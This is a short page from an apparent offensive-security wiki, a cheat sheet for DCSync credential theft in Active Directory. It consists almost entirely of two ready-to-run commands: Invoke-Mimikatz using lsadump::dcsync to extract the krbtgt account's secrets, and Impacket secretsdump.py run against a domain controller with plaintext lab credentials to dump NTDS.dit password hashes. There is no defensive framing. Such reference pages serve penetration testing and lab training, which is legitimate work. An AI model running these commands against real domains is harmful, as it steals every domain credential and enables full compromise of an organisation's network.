> For the complete documentation index, see [llms.txt](https://wiki.bufu-sec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.bufu-sec.com/active-directory/lateral_movement/dc_sync.md).

# DC Sync

## Locally

```powershell
# DCSync locally with mimikatz for specific user
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```

## Remotely

```powershell
# Get NTDS.dit via Impacket secretsdump remotely
secretsdump.py -dc-ip 10.10.149.145 spookysec.local/backup:backup2517860@10.10.149.145
```